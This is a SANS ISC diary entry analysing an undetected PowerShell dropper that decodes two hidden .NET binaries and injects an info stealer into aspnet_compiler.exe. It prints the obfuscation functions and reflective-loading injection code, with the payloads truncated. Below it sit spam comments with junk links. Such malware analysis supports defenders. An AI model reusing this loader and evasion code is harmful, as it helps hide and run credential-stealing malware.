More Undetected PowerShell Dropper
Last week, I published a diary[1] about a PowerShell backdoor running below the radar with a VT score of 0! This time, it’s a dropper with multiple obfuscation techniques in place. It is also important to mention that the injection technique used is similar to Jan's diary posted yesterday[2] but I decided to review it because it has, here again, a null VT store[3]!
The script embeds two binary files that are Base64-encoded with some characters replaced on the fly:
$HH1 = '4D5A9\\\\3\\\\\\\4\\\\\\FFFF\\\\B8\\\\\\\\\\\\\\4\\\\\\\ ... \\\\\\\\\\\\\\\\\\\\\\\\\'.Replace("\","0")
And
[String]$H4='4D5A9(-_-)(-_-)(-_-)(-_-)3(-_-)(-_-)(-_-) ... (-_-)(-_-)(-_-)(-_-)(-_-)'.Replace('(-_-)','0')
The remaining part of the script is obfuscated and decoded by the function VIP():
FUNCTION VIP($AA) { $AAA = "Get(-_-)ng".Replace("(-_-)","Stri"); $AAAAASX = [Text.Encoding];$AAAAASXX = "U(-_-)8".Replace("(-_-)","tf") $AAAAA = "Fr"+"omBa"+"se6"+"4Str"+"ing" $AAAAAS = $AAAAASX::$AAAAASXX.$AAA([Convert]::$AAAAA($AA)) return $AAAAAS }
Simple but efficient, the result is passed toIEX or Invoke-Expression. Let’s have a look at this code.
Both PE files are not only Base64-encoded (too easy to spot), they must be decoded using the function H2():
Function H2 { [CmdletBinding()] [OutputType([byte[]])] param( [Parameter(Mandatory=$true)] [String]$HBAR ) $H3 = New-Object -TypeName byte[] -ArgumentList ($HBAR.Length / 2) for ($i = 0; $i -lt $HBAR.Length; $i += 2) { $H3[$i / 2] = [Convert]::ToByte($HBAR.Substring($i, 2), 16) } return [byte[]]$H3 } [Byte[]]$H5 = H2 $H4 [Byte[]]$H6 = H2 $H1
The next step is to process them. The first PE file ($H5) is a DLL (SHA256:2e0522bfcc69c8920d7570f1ae7ead5e24b7c3bff6ff8710d2f64a35fc262e12). This file is unknow on VT while I'm writing this diary. The second PE file ($H6) is the malware (SHA256:bf55d8ac92fcba182620a93b8bb875ece6b15060dd5e8b37f3e0a881ab6cd31b)[4]. Both are .Net executables like in Jan's diary. Let's review the injection process.
$H7 = 'AA.HH' $H8 = 'HH' $H9 ='GOOGLE'.Replace('OOGLE','e') $HH9 = 'LOVETy'.Replace('LOVE','t') $HHH9 = 'GOODBYe'.Replace('GOODBY','p') $HHHH9 = $H9+$HH9+$HHH9 $BB1 = 'I';$BB2 = 'n';$BB3 = 'vo';$BB4 = 'ke';$H10 = $BB1+$BB2+$BB3+$BB4 $CC1 = "G";$CC2 = "e";$CC3 = "t";$CC4 = "M---------od".Replace("---------","eth");$H11 =$CC1+$CC2+$CC3+$CC4 $TT2 = 'oft.NE---------------319'.Replace("---------------","T\Framework\v4.0.30");$TT1 = 'C:\W---------------os'.Replace("---------------","indows\Micr");$TT3 = '\aspnet_compiler.exe';$H12 = $TT1+$TT2+$TT3 $FF1 = 'L';$FF3='a';$FF4='d';$FF2= 'o';$H13 = $FF1+$FF2+$FF3+$FF4;$H17='$nUll' $HH11 = "[Re";$HH22 ="flect";$HH33 ="ion.Assembly]";$H14 = ($HH11,$HH22,$HH33 -Join '')|I`E`X $H15 = $H14::$H13($H5);$t1 = '$H15.$HHHH9($H7).$H11($H8).$H10';$t2 = '($H17,[object[]] ($H12,$H6))';$HBar=($t1,$t2 -Join '')|I`E`X
The key variable is $H7 which contains the class to be loaded from the DLL ("AA.HH") as you can see on this screenshot:
The remaining code prepare the injection in another process. The target is:
$H12 = “C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe”
Remember that $H5 contains the DLL and $H6 contains the malware
$H15 = [Reflection.Assembly]::Load($H5) $t1 = $H15.GetType(‘AA.HH”).GetMethod(“HH”).Invoke $t2 = '($H17,[object[]] ($H12,$H6))'
Here again, you can see a lot of similarities with Jan's diary. The DLL is loaded, the class launches the ASP .Net compiler and injects the malware into it:
What about the malware? It’s an info stealer that searches and exfiltrates data. Here is a sample of all checked applications:
There are a lot of references in the PE file to "Goldminer":
The C2 server is available and accepts traffic:
This demonstrates that attackers re-use again and again the same techniques but also slightly change the obfuscation techniques to remain below the radar!
[1] https://isc.sans.edu/forums/diary/Simple+but+Undetected+PowerShell+Backdoor/28138/
[2] https://isc.sans.edu/forums/diary/PowerPoint+attachments+Agent+Tesla+and+code+reuse+in+malware/28154/
[3] https://www.virustotal.com/gui/file/e421e9675c0e0d6503be80c186e6014a036eebac68e9212d7826df836c269b84/detection
[4] https://www.virustotal.com/gui/file/bf55d8ac92fcba182620a93b8bb875ece6b15060dd5e8b37f3e0a881ab6cd31b/detection
Xavier Mertens (@xme)
Xameco SRL
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments
Anonymous
Dec 3rd 2022
9 months ago
Anonymous
Dec 3rd 2022
9 months ago
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
Anonymous
Dec 26th 2022
8 months ago
Anonymous
Dec 26th 2022
8 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
8 months ago
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> nearest public toilet to me</a>
<a hreaf="https://defineprogramming.com/the-public-bathroom-near-me-find-nearest-public-toilet/"> public bathroom near me</a>
Anonymous
Dec 26th 2022
8 months ago
Anonymous
Dec 26th 2022
8 months ago
https://defineprogramming.com/
Dec 26th 2022
8 months ago
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
https://clickercounter.org/
https://defineprogramming.com/
Dec 26th 2022
8 months ago
rthrth
Jan 2nd 2023
8 months ago